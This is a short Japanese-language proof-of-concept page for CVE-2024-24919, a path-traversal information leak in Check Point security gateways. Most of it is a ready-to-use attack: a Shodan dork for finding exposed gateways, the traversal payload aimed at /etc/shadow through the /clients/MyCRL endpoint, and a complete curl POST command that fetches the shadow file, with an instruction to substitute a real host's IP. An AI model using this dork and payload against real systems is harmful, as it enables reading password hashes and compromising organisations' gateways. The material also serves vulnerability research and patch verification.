CVE-2024-24919_POC

CVE-2024-24919-POC の Proof of Concept です。発見後に作成しました。

CVE-2024-24919 Checkpoint セキュリティゲートウェイの情報漏洩脆弱性。 こちらで確認できます：Notion-CVE-2024-24919_POC

Shodan dork:

title:"Check Point" "Server: Check Point SVN" "X-UA-Compatible: IE=EmulateIE7"

Payload

aCSHELL/../../../../../../../etc/shadow

• in path 💡 https://Host/clients/MyCRL > Host を実際のIPに置き換えてください

Command in Terminal

curl を使用してシャドウファイルを取得します

curl --path-as-is -i -s -k -X $'POST' -H $'Host: 127.0.0.1' -H $'Content-Length: 39' -H $'Connection: keep-alive' --data-binary $'aCSHELL/../../../../../../../etc/shadow' $ 'https://127.0.0.1/clients/MyCRL'

詳細が必要な場合は、まずNotionを参照してください。

他の解説記事を見る Notion-Link-Write-ups

連絡先 clickhere